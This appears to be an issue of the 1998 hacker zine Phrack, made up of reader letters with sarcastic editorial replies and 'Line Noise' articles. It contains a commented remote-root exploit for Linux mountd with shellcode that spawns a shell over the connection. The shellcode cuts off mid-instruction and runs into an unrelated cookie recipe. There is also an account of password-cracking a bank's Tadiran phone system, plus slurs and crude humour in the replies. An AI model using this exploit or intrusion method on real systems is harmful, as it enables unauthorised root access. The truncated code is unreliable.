[ Ok, I'll give you an insider tip. Here's what we do to keep our computers safe from electronic ruffians: we use them once, then throw them away. ]

Are there any .txt documents that you think I should read?

[ Check out the one entitled `My Two Mommies`. It answered _a lot_ of questions for me. ]

I need all I can get on this topic so i can finally move on to the next step (I don't know what that is yet my friend is helping me become a hacker).

[ Did he read "My Two Mommies"? If not, he's a charlatan. He's probably just telling what you want to hear so you'll sleep with him. I'd shank him once in the leg to be safe. ]

I don't care how many things I have to read just as long as I can become a hacker.

[ Just think! If you're reading this, you're *that* much closer! ]

P.S. I had no clue who to send this to so I picked you (Doesn't that make you feel special?). Also please don't make this public I went to some websites and found Hackers love making fun of lamers and posting the mail they get on there sites so I have this feeling that your going to post this letter somewhere. Just don't please.

[ Not a problem. I'll keep this to private email. ]

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just browsed yr web page... you are an interesting person.

[ Agreed. ]

I 'd love to come to your r00t party (honest); may I?

[ Absolutely not. ]

I leave in greece and I am planing to travel to the u.s. this xmas.

[ That's nice. ]

It would be a grate opertunity for me to meet you and your friends.

[ Yes, but it's just as good an opportunity for you not to meet us. ]

PS: I am not a hacker, I just admire your work.

[ Well, thank you very much. That's good to hear. ]

liquid, Wed Sep 16 06:24:09 1998

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi todos

[ Who? ]

i was just reading some files about hacking and phreaking by french writters than one or two suggestions came to my mind

(i) stop writing like a pre‑pubescent boy with lot of ***eZ and B1abL4(blabla)

[ YAH! YOU DAMN FRENCH COMMIE NAZI BASTARDS! ]

(ii)be more explicit and professional like in PHRACK

[ YAY AMERICA! ]

so i hope that i have rung the bell to the wrong door, and that the french scene does not look like that.

[ Huh? ]

another thing: does hack include studying and find flaws in religious system ?

[ Shure, why not? ]

because in fact religious system are formal system based and we can always find paradox (godel's theorem) if yes i would have a futur paper for phrack

[ Alright. ]

i have an os name for mythrandir 'TRYOS' it's very short and really summerises his work

THANK FOR ALL YOU DO FOR THE HACKER COMMUNITY

PHRACK IS THE BEST THING I HAVE EVER READ

[ WELL GOOD. IT'S THE BEST THING I HAVE EVER WRITTEN. ]

TFAYD.

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

man just to let you know, this is some very "educational" info. can't say that i learned a lot, but this info help me catch up the past five years. been in the navy, man it sucked, but i want to commend y'all. but it's like they say, smart enough to do it, then do it, but it's your consequences. to all the "real" people out here in this beloved world, too bad they don't know reality. anyways, this is dope, it is the bomb.

[ Word `em up on the level. ]

‑‑vadaka‑‑

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi. I am OmniLynx, and I'm thinking of starting a new Web‑Zine for hackers.

[ Hey! Sounds like a great niche market! ]

In the true spirit of hacking, it will be free to anyone who wants it.

[ In the true spirit of martyrization and self‑glorification. ]

Unfortunately, at this point it is still just a thought, because I do not have enough sources to make it any good. I'd like to know if you would want to become a source for my Web‑Zine. All you have to do is scout out tips, tricks, news stories, anecdotes, etc. for or about hackers.

[ Please, may I? Can I be your intern? I'll be your Jimmy Olsen! Let me set aside my professional career, my personal life, and my ezine with it's 14+ year history and get _right_ on that. ]

Unfortunately, you can't be paid for this, because it is free, but you will

[ BAH! Who needs money? Your adulation is payment enough! ]

get your name published and, possibly, be able to express your thoughts in a column.

[ SHUT UP! I would be able to write a column?!@ Wow! I need to break out my `Sony's My First Zine Kit` and get started! ]

OmniLynx

[ Dude. That's ironic. I almost chose the nick `EverpresentBobcat`. ]

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HI phrack,

I am just reading phrack #52 `phrack loopback'.

You are just making me to laugh to dead. Better than any joke mailing‑list

[ HOLY SHIT! Dude, I don't want anyone to laugh to dead! If everyone laughs to dead, how will I get any repeat business? ]

fred

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Been fucking around on the internet for about 3 years. After I got over the intial rush of "WOW, look at all this fuckin software!"

[ And porn. ]

(and concurrently dumping OS/2 and msdog for Linux), I started reading...and reading....and reading...then I ran into Phrack. In a word ‑ KICKASS!

[ Thankz Cartman. ]

I've been reading all of the issues the last couple of daze and I'm really impressed with the overall feeling of it. It's great reading about past 'battles' with the telco and systems (Phiber Optik stuff comes mind), the DETAILED instructions given about various terminals, and the schematics and stuff. History, Software and Hardware.

[ Don't forget all the great articles about bombs! Smoke bombs, bolt bombs, acetylene bombs, shell bombs... Ah yes, the mid‑80's were a tumultuous time when youth felt the need to blow things up. ]

Besides pussy and beer, I can think of no more interesting subjects.

[ Except perhaps degrading and objectifing women. ]

I applaud the way you've kept it going by passing it on. I applaud that you've remained true the idea "All information is public information ‑ and the aquisition thereof". I applaud the fact that it has survived this long ‑ for free. Next to the kernel ‑ PHRACK[0‑5][1‑9] just might be the most important bits on my machine. Keep it up fuckers ‑ cause sure as taxation without representation, they are gonna try and stomp you (us).

[ (you). ]

p.s. pointers on to how to hack sendmail to totally rewrite the headers and envelopes to reflect a completely bogus username/system (for purposes of anonymity ‑ such as email like this) would be

greatly appreciated. If the pointer is 'grep sendmail ./PHRACK*' then... ..<sheepish grin>....nevermind...

You fuckers rock.....

Deicide

[ I've decided you suck. ]

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I can prog............If you tell me how to hack I'll send my best progs.......

[ Oh, that sounds like a fair trade. ]

I am leada of Warco

[ I am Lothar of the Hill People. ]

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Can you get me in touch with anyone in Chicago who can help me retreive deleted documents from my home computer.

Thank You

[ I think Emil is free. Give him a ring. ]

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I WAS WONDERING IF YOU KNEW WHERE I COULD FIND OUT HOW TO CONNECT TO AND HAACK PEOPLE'S PERSONAL COMPUTERS, OR MAY'BE YOU KNOW.

I'D APRECIATE SOME ADVICE,

[ Don't breed. ]

X‑3

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I need An Infectiouse Virus to corupt a small network

If you have any idea where i could get one send me aline

[ I need love and understanding. I'll trade you. ]

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey...I'm not into hacking or anything, but I read an article about you and Phrack in the Worcester Telegram and Gazzette this morning. I just wanted to tell you that I feel your not bending to goverment pressure and everything is very kool. This isn't about anarchy, it's about rights; freedom of the press. Ya know? Anyhow, I will not take up anymore of your time. Remember, hackers have rights too.

[ Some of us have mean leftz too. ]

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It would be nice to be able to contact someone to do some hacking for you in a specific manner.

[ Sorry. We only hack in a vague, nebulous manner. ]

Do you have any listings for this type of individuals?

[ Try http://www.fbi.gov/fugitive/fpphome.htm. We usually recruit from

there. ]

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there!

First off, just let me say how incredibly awesome and all powerful Phrack is, especially issue 52.

[ A SUPREMELY POWERFUL JUGGERNAUT OF EFFICACIOUS POWER! ]

You have an amazing 'zine here, and I bow before you and worship the ground you walk on. In fact, I think world domination is now in your grasp.

[ Shure, if all the world was as obsequious as you, we'd be set. ]

< Yes, I'm hitting on you :P >

[ Cool. Are you a hot chick? If not, back off fagbasket. ]

Really though, I'm just writing to thank you for Phrack Loopback.

[ A self‑fulfilling prophecy. Here we are. ]

While everything in Phrack is good, and the majority is great (as rated on

[ How can everything be good, yet the majority be great? ]

the sliding scale of total goodness), the thing that gives me the most spiritual fulfillment every issue is Loopback. It provides 78% of daily allotted humor and 37% of the required sarcasm for mental well being.

[ And now you're a part of the love. *hug* ]

So, once more, thank you for the brilliant staff you have at Phrack, and thanks as well to the people who write in!

[ KEEP THOSE LETTERS AND CARDS COMING! ]

Unit3

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, i know i am going to sound very lame when i ask this. I would really like it if you could give me a quick breif description on how to hack into system remotely i can hack but i can break into systems without having a login and pw, well thnx ne ways

[ You suck. ]

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I don't really know who to contact about this. It's a complament to all of phrack magazine about the owning thing.

I am glad to see u guys take it well. I don't know if i would be able to take it as well. But it is definitely respectful. I and many other people already respected phrack magazine a lot.. but now I definitely have a lot more respect for phrack.

[ Dude, you get anymore respect for us and you'll officially qualify for the `Phrack Magazine Hoover Super Suck‑up Award`. It's a pretegious award only given out to a select few. You're defnintely in the running. ]

SPy109

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sir

when i down load an item from your page its in X's O'o and boxes.

[ Oh. You must have reached our tic‑tac‑toe server by mistake. Try the URL again. ]

i tryed ms/word note pad/ and no luck. can you help,im also looking for an article on how to go through the back door of AOL

[ I think there's one in the Virginia office, on the second floor. It's Penski's office, and he never locks his door, that fucking moron. ]

from my office to my home over the Internet.

[ Oh. In that case, did you try wishing really, really hard? That usually works for me. ]

so i could check on my spouse who i think is doing me wrong.

[ Oh, I can assure you, your spouse is up to no good. I think you should definitely get a divorce and take the kids. ]

thanks

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P53‑07: A Stealthy Windows Keylogger ]

Dearest Phrack,

I read "A Stealthy Windows Keylogger" in Phrack 53.7. Huh? Just call SetWindowsHookEx(). It's built right into the operating system. It lets you grab key strokes. It's simple. It even works on Windows NT.

There is no reason to go hooking interrupts or writing chunks of inline assembly.

The documentation explains how SetWindowsHookEx() works. If that's still not enough to go on, the Microsoft SDK ships with example programs that grab key strokes.

‑ Iskra

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I see and hear all this about hackers; however, I never see and/or hear about how it is done.

[ Like ninjas, true hackers are shrouded in secrecy and mystery. You may never know ‑‑ UNTIL IT'S TOO LATE. ]

The reason I am asking is because of a soon‑to‑be‑ex‑wife who stole me cash I

[ Are you Irish? ]

operate my business with. I know she has placed the money in a bank somewhere in my home town. Is there a way to find out which bank if I know she SSN?

[ I bet she's one of those fiery Irish Lass's with flowing locks of red hair and glittering green eyes. You think she'd go for me? How much money she gank from you... Enough for her to run away and lavish me with gifts? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Line Noise

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 03 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 4 L I N E N O I S E

‑‑‑‑‑‑‑‑[ Various

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The r00t/h4g1s peace summit ‑ 1998

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a digital world marred by strife and conflict, it was only fitting that the two mega‑super powers of the digital underground met for a peace conference somewhere they could partake of the peace pipe. Amidst the quaint silence of the fluttering windmills of Holland, the representatives of their respective parties settled in for a week of negotiations in the heart of Amsterdam.

Day 1:

They paint fake flies (the flying kind, not the zipper kind) on the toilets in the Schlipteinheinekinoffien airport in Amsterdam, because, as we all know, hackers can't resist a good target. The next stop was to our official reception at the Hotel Ibis. I walked into the room, meeting face to face with 7 of the most notorious and feared hackers alive. My heart raced, and I felt all the sweat glands on my body release in one giant orgasmic instant. And then I started coughing...

Day 2:

My throat severely scarred from the previous day of going to "coffee" shops and buying (legally) some marijuana with such names as "The Elite Buddha", and "Zero Day", we set out for some serious negotiations on the second day. Our mission was to create a truce, allowing the free transportation of our packets, unencumbered, unmodified, and unmonitored, across the Internet. H4g1s demanded r00t supply them with "‑1 Day" in exchange for peace.

r00t requested a "‑1 day" from an Internet savvy street person who kept reminding us of our r00t brother, X. The street person, we'll call him Outlaw, showed us some pills, but they did not appear to be what h4g1s was looking for. So, we decided to move on. Outlaw, however, had other ideas. He wanted his 25 guilders to take his aspirin to X, apparently (For those of you unfamiliar, a guilder is the Netherlands unit of money, and roughly resembles monopoly money, except a guilder isn't really worth anything, whereas monopoly is fun!). We refused, and Chico got mad. He started telling us, "WE ARE GOING TO HAVE A PROBLEM SOON." After that, things were "STARTING TO GET VERY SERIOUS." Finally, Chico got pissed off and broke a beer bottle and started going insane, so r00t & h4g1s made a temporary truce and started running.

After turning several corners, the mad outlaw was chasing after us with his broken glass wielding in the cold winter night. We were now in the "red light district", the physical equivalent to the place on the Internet where you can buy whores and have sex with them, and people were looking at us funny being chased through the streets.

Day 4:

We slept through day 4.

Day 3:

Things were getting very strange in Amsterdam. Most notably, day 3 happened AFTER day 4. Don't ask me how. It may have related to the fungus located within a "Inner Visions" container that we consumed in the hopes of progressing our talks further. We played some Ultima Online, except we didn't use any computers. I think there was a strange steakhouse experience at some point this day, but I can't provide any further details.

Day 5:

Everything in the world is energy vibrating at different rates. If we can find some way to make our own matter vibrate at a consistently faster rate we can transcend the physical universe and enter the digital plane. I think we need to switch tenses back to the past before. With Outlaw out of the picture, we resumed our negotiations over some spacecakes (its like a brownie, or a muffin, or a donut, except it has Zero Day in it).

Day 6:

I thought we ate all the shrooms in Day Pi! Ok, fine. Things are easier to handle when you have a vision. Vision is just a hallucination induced by energy waves bouncing around in your head. Your head is cool. COOL is a lame stock. EBAY is insanely overpriced. So are M3s. Mach 3's are cool razors. Razors are sharp. Sharp MD players are too thick. As is Mark's cock. And long!

‑r00t & h4g1s

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A CASE STUDY: LINUX MOUNTD STACK OVERFLOW

There is nothing new here, but the code is a text book example of how buffer overflows are done. Even if you have read other articles on buffer overflows you might find something of value in here. Or maybe not. The case studied is the Linux nfsd/mountd vulnerability mentioned in the CERT advisory on Aug 28.

nuuB

<++> linenoise/mountd‑sploit.c

/*

* mountd‑sploit.c ‑ Sploit for Linux mountd‑2.2beta29+ (and earlier). Will * give a remote root shell.

*

* Cleaned up, documented and submitted to Phrack on Sep 3 1998. *

* I've included a quick primer on stack overflows and made lots of comments * in the code, so if you don't know how these stack overflow exploits work * take this opportunity to learn something.

*

* It is trivial to extend the code (or use scripting) to make something that * automatically scans subnets or lists of IPs to find vulnerable systems. * This is left as an exercise for the enterprising young hax0rs out there. *

* You need the following RPC files for your particular architecture: *

* nfsmount.h

* nfsmount_xdr.c

*

* These can be generated from 'mount.x' by the 'rpcgen' utility. I simply * lifted the files that came pre‑generated with Linux 'mount'. These are * included uuencoded, but they may not work on your particular system. Don't * bug me about this.

*

* Compile with:

*

* cc mountd‑sploit.c nfsmount_xdr.c ‑o mountd‑sploit

*

* Have fun, but as always, BEHAVE!

*

* /nuuB

*

*/

/*

A QUICK PRIMER ON STACK OVERFLOWS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Read Aleph1's article in Phrack Issue 49 File 14 (P49‑14) for a detailed explanation on how to write sploits (the examples are for Linux/i386 but the methodology is valid for any Unix, and can be applied to other OS's once you understand the technique). If you are targeting one of Bill's OS check out cDc #351: "The Tao of Windows Buffer Overflow" by DilDog.

The properties that we take advantage of are:

* The stack memory pages have the execute bit set

* The return address from functions are stored on the stack on a higher address than the local variables.

MEMORY MAP

‑‑ Start of stack (i.e bottom of stack ‑ top of memory) e.g 0xc0000000 ‑<environment variables>

<stack frames from main() down to the function calling our function> <arguments to the vulnerable function>

<** return address **>

<frame pointer for prev frame ‑ unless compiled with ‑fomit‑frame‑pointer> <local variables for the vulnerable function>

‑‑ Top of stack (lower memory address) e.g 0xbffff9c8 ‑‑

THE OVERFLOW

The trick is to overflow a local variable that is set through a function that doesn't check for overflows (strcpy, sprintf, etc). By supplying a (too) long string you can overwrite memory at higher addresses, i.e closer to the start of the stack. More specifically we want to overwrite <** return address **> with a pointer that points back into the stack that contains code we want executed. Getting the code on the stack is done by including it in the string we are overflowing with, or by placing it in an environment variable.

The code can do anything you like, but the standard thing is to execve() a shell. There are often limitations on what the code can look like in order to be placed unmangled on the stack (length, touppper(), tolower(), NULL bytes, path stripping etc). It all depends on how the target program processes the input we feed it. Be prepared for some tinkering to avoid certain byte patterns and to make the code use PC/IP relative addressing.

The overflow string (called the 'egg') is normally passed to the target program through command line arguments, environment variables, tcp connections or in udp packets.

POSSIBLE COMPLICATIONS

Sometimes you will destroy other local variables with your egg (depends on how the compiler ordered the variables on the stack). If you use a long enough egg you could also trash the arguments to the function. As your code isn't executed until the vulnerable function returns (not at the return of the function doing the actual overflowing, e.g strcpy()), you must make sure that the corrupted variables don't cause a crash before the return. This means that your egg probably has to be aligned perfectly, i.e only use one return pointer and preceed it with 'correct' values for the local variables you are trashing. Unfortuntely the ordering of the variables is often dependent on what compiler options were used. Optimization in particular can shuffle things around. This means that your exploit will sometimes have to target a particular set of options.

Most of the time the trashing of other local variables isn't a problem but you may very well run into it some day.

THE RETURN POINTER

The only problem left is to guess the right address to jump to (i.e the return pointer). This is done either by trial and error or by examining the executable (requires you have access to a system identical to the target). A good way to get a reasonable starting value is to find out how much environment variables the target process has (hint: use 'ps uxawwwwwwwwe') and combine that with the base stack pointer (you can find that out with a one line program that shows the value of the stack pointer). To increase the chances of success it is customary to fill out the start of the egg with NOP opcodes, thus as long as the pointer happens to point somewhere in the egg before the actual code it will execute the NOPs then the code.

That is all there is to it.

*/

/*

* Now, back to our case study.

*

* Target: rpc.mountd:logging.c

*

* void Dprintf(int kind, const char *fmt, ...) {

* char buff[1024];

* va_list args;

* time_t now;

* struct tm *tm;

*

* if (!(kind & (L_FATAL | L_ERROR | L_WARNING))

* && !(logging && (kind & dbg_mask)))

* return;

* ...

* vsprintf(buff, fmt, args); <‑‑ This is where the overflow is done. * ...

* if (kind & L_FATAL)

* exit(1);

* } <‑‑ This is where our code (hopefully) gets executed

*

* This function is called from (e.g) mountd.c in svc_req() as follows: *

* #ifdef WANT_LOG_MOUNTS

* Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n", * inet_ntoa(addr), argbuf);

* #endif

*

* Looks great (WANT_LOG_MOUNTS appears to be defined by default). Type * L_WARNING is always logged, and all we have to do is to try to mount * something we are not allowed to (i.e as long as we are not included in * /etc/exports we will be logged and get a chance to overflow). *

* The only complication is the first %s that we will have to compensate for * in the egg (our pointers must be aligned correctly).

*

* We use 5 pointers to avoid problems related to how the compiler organized * the variables on the stack and if the executable was compiled with or * without ‑fomit‑frame‑pointer.

*

* 3 other local variables (size=3*4) + 1 frame‑pointer + 1 return pointer = 5 *

* Still plenty of room left for NOPs in the egg. We do have to make sure that * if the 3 other variables are trashed it won't cause any problems. Examining * the function we see that 'now' and 'tm' are initialized after the vsprintf() * and are thus not a problem. However there is a call 'va_end(args)' to end * the processing of the ellipsis which might be a problem. Luckily this is * a NOP under Linux. Finally we might have trashed one of the arguments * 'kind' or 'fmt'. The latter is never used after the vsprintf() but 'kind' * will cause a exit(1) (bad!) if kind&L_FATAL is true (L_FATAL=0x0008). * Again, we are in luck. 'kind' is referenced earlier in the function and in * several other places so the compiler has gratiously placed it in a register * for us. Thus we can trash the arguments all we want.

*

* Actually, if you examine the executables of mountd in the common distros * you will find that you don't have to trash any variables at all as 'buffer' * is placed just before the frame pointer and the return address. We could * have used a simple egg with just one pointer and this would have worked * just as well in practise.

*

* All this 'luck' is in fact rather common and is the reason why most buffer * overflows are easy to write so they work most of the time.

*

* Ok. Delivery of the egg is done through the RPC protocol. I won't go into * details here. If you are interested, get the sources for the servers and * clients involved. Half the fun is figuring out how to get the egg in place. *

* The last piece of the puzzle is to keep shoveling data from the local * terminal over the TCP connection to the shell and back (remember that * we used dup2() to connect the shell's stdout/in/err to the TCP connection). *

* Details below.

*/

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <errno.h>

#include <sys/time.h>

#include <sys/types.h>

#include <fcntl.h>

#include <signal.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <rpc/rpc.h>

#include <rpc/pmap_prot.h>

#include <rpc/pmap_clnt.h>

#include "nfsmount.h"

/*

* First we need to write the code we want executed.

*

* C0de: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh"); *

* setreuid() is probably not necessary, but can't hurt.

*

* fork() is done to change pid. This is needed as someone ‑ probably the * portmapper ‑ sends signals to mountd (the shell has no handlers for these * and would die).

*

* The dup2()'s connect stdout/stderr to the TCP socket.

*

* The code assumes 'mountd' communicates with the client using descriptor * zero. This is the case when it is started as a daemon, but may not be so if * it is launched from inetd (I couldn't be bothered to test this). The * dup2()'s may need to be changed accordingly if so.

*

* For Linux/i386 we would get:

*/

#if 0

void c0de() {

__asm__(

"jmp .get_string_addr\n\t" /* Trick to get address of our string */

".d01t:\n\t"

"xorl %eax,%eax\n\t"

"movl %eax,%ebx\n\t" /* ruid=0 */

"movl %eax,%ecx\n\t" /* euid=0 */

"movb $0x46,%eax\n\t" /* __NR_setreuid */

"int $0x8

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Eleet ch0c0late ch1p co0kies

by Juliet

The chocolate chip cookies is an old exploit. You can use it to bribe your teachers, sysadmins, bosses, even feds. Never underestimate the cookie. Picture this.. little girlie walks up to you in the NOC.. offers you a home‑baked chocolate chip cookie! She must be someone's secretray.. or something.. wow she sure fooled you.. anyway.. bake them.. they are good.. DO NOT substitue ingrediants.. other than like M&M's for chocolate chips..

1 cup (packed) golden brown sugar

1/2 cup sugar

1/2 cup solid vegetable shortening, room temperature

1/2 cup (1 stick) unsalted butter, room temperature

2 large eggs

1 tablespoon vanilla extract

3 cups all purpose flour

1 teaspoon baking soda

1 teaspoon salt

1 12‑ounce package semisweet chocolate chips

Preheat oven to 350F. Using electric mixer, beat both sugars, shortening and butter in large bowl until light and fluffy. Beat in eggs and vanilla. Mix flour, baking soda and salt in large bowl. Add dry ingredients to butter mixture and mix until blended. Stir in chocolate chips.

Drop dough by heaping tablespoonfuls onto heavy large baking sheets, spacing 2 inches apart. Bake until golden brown, about 12 minutes. Transfer baking sheets to racks; cool 5 minutes. Transfer cookies to racks;

cool completely.

Makes about 42 cookies.. or you can make ONE BIG pan cookie

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Tadiran; Computer Telephony Integration (CTI) Blakboot <blakboot@darkcartel.com>

Introduction

============

Hello everyone. This article is primarily about Tadiran Telecommunications software and hardware used to syncronize computer applications with phone calls. I will be refering to system version 9.63.03.01 and any variants as just `Tadiran`. From firsthand experiences with this type of system I've found that they can be configured to do many things, from trunk timers to on hold music.

Although a very powerful system, the Tadiran lacks basic security. This is a no no, especially when it provides worldwide technologies for all types of industries, including banking.

The issue of lack of security is mainly why I wanted to write this article. The Tadiran is very much open to intrusion.

How it began

============

A phreak friend of mine, Mf‑Man, and I were scanning for loops, we found a carrier. We took a short look at the system for a while, until our interests waned and took us elsewhere..

Months later, bored, I dialed into the system, with plans of throwing a dictonary file at it at steady pace (Tadiran, only requires a password for authentication).

So, I just sat back, and waited... After a long while, to my gleeful surprise, it cracked! I (like many others before me) did that zealous happy dance.

This system, Tadiran, is rather cryptic without documentation. Even still, I managed to dig up some interesting info. This system I managed to get into was that of a CTI system from a well known bank. The major flaws thus far (I plan to write a more in depth article):

* Unlimited password attempts.

* No login names.

* A password prompt that responds, well, promptly.

What follows are some screen shots of the Tadiran system.

The system

==========

Password prompt: ENTER PASSWORD

Bad password Msg.: ILL PASSWORD , TRY AGAIN !

System prompt: *:

Enviroment: Tree menus; menus branch from root, and so on.

‑This the root menu, the menu sent upon login.‑

(ROOT)

CCS 9.63.03.01 SMDI & 24SDT

Copyright (c) 1991‑1997 Tadiran Telecommunications Ltd.

NAME ‑ xxxxxxxxx

SAU # ‑ xxxx

0‑CONFIG

1‑DIAGN

2‑TABLES

3‑ADMIN

4‑ROUTING/COST

5‑ISDN

6‑DATA

7‑CoraLINK

8‑NETWORK

9‑HELP

Any of the menus/options can be choosen by number, or name.

Control keys:

^C / ESC ‑‑‑‑‑‑ Go back 1 menu.

^T ‑‑‑‑‑‑ Displays account and system information. EXAMPLE:

CCS: xxxxxxxx xxx‑xx‑1998 10:48pm Terminal No.: 4, Password level: 0 Software Version: 9.63.03.01 SMDI & 24SDT

^P ‑‑‑‑‑‑ Relogin.

/* There are others‑‑they seem have something to do with emulation,

and scrolling. *\

Menu descriptions ‑ ment for reference.

========================================

This is a list of globally accessable menus, available by typing, "HELP" <Note> I've "x"'d out all group names from the orignal system this information was recovered from.

PI MESSAGES =(MSG) FEAT. & AUTH. =(FEAT) SMDR CONTROL = (SMDR) 47/8T CARD_DB =(TKDB) FEATURE TIMERS=(FE.T) STATION TIMERS =(ST.T) ALT ROUT TK.GRP=(ROUT) GROUPS =(GROUP) SYSTEM GEN. =(SYSGEN) xxxx/xxx GROUP =(xxxx) xxxxxxx GROUP =(xxxx) SYS FEATURES = (SFE) xxxx GROUP =(xxxx) IST/SLT CARD_DB=(STDB) SYS TIME SET‑UP=(TIME) BUSY PORTS =(BUSY) IST/SLT DEF. =(SLT) TERMINAL SET‑UP=(TERM) CARD DATA‑BASE = (CDB) LCR/ROUTING =(LCR) TOLL BARRIER =(TOLL) CARD LIST =(CLIS) xxxxxxxxx =(xxx) TONE PLAN = (TON) CLASS OF SERVICE=(COS) xxxxxxxxxxxxx=(xxxxx) TRUNK DEFINITION=(TRK) COST_CALC. =(COST) NUMBERING PLAN =(NPL) TRUNK_GROUP =(TKGP) DATA SERVICES =(DATA) PICKUP GROUP =(PICK) TRUNK GRP DEF =(TGDEF) xxxx CARD DB =(DIDB) PORT DATABASE =(PDB) TRUNK PORTS =(TRUNK) xxx/xxx GROUP =(DIDG) PORT LIST =(PLIS) TRUNK TIMERS =(TK.T) DIGITAL TRUNK =(DTDB) PREFERENCE =(PREF) WAKEUP =(WAKEUP) KEY DEFINITION = (KEY) DIGITAL BUS LIST=(DLIS) ZONED GROUP =(VPZ) KEY PROGRAMING =(PROG) RINGER P.S. =(RPS) VFAC =(VFAC) KEYSET TIMERS =(EK.T) SIZES DEF =(SIZ) GROUP CALL =(CALL)

PI MESSAGES ‑ Terminal setup, diag/stim.

47/8T CARD_DB ‑ Card information. Example: LS_RING_PAUS (sec)‑ 5 GS_RING_PAUS (sec)‑ 1 O/G BREAK_TIME(ms)‑ 60 O/G MAKE_TIME (ms)‑ 40 O/G INTERDGT_T(ms)‑ 800 GS_DISCONNECT (ms)‑ 800 METER (4TMR) :

f0 (0=16K,1=12K,2=50Hz)‑ 0 f0 ACCURACY +/‑(1‑10)% ‑ 3 METER_AFTER_DISCONNECT (Y/N) ‑ N

ALT ROUT TK.GRP ‑ Add, display, update, or remove trunk group. BUSY PORTS ‑ Displays what ports are busy.

CARD DATA‑BASE ‑ List many submenus of card, in which you may get/update CARD LIST ‑ EXAMPLE:

shelf#/slot# p_type i_type card_db# vers/subver status

0 / 1 NO_CARD NO_CARD ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑‑‑‑

0 / 2 8DTR/S NO_CARD ‑‑‑ 17 8 ACTIVE 0 / 3 T1 T1 1 14 38 ACTIVE

CLASS OF SERVICE ‑ ST/TK, and ATT show all kinds of information on trunk control. TENANTS deals with group access. COST_CALC. ‑ Information about costs for certain services, at various times.

DIGITAL TRUNK ‑ Card/trunk information, configuration, channel signaling. KEY DEFINITION ‑ Telephone configuration

EXAMPLE:

prm_cos‑ 1 sec_cos‑ 1 priv_libs‑ 12 terminal‑ N origin‑ N block‑ N o/g_tk_rest‑ N privacy‑ Y excl_hold‑ N hard_hold‑ N last_num‑ Y security‑ N att‑ Y auto_unatt‑N passcode‑ NONE check_out‑ N multi_app‑ Y m.a.mute_ring‑Y mute_ring‑ Y

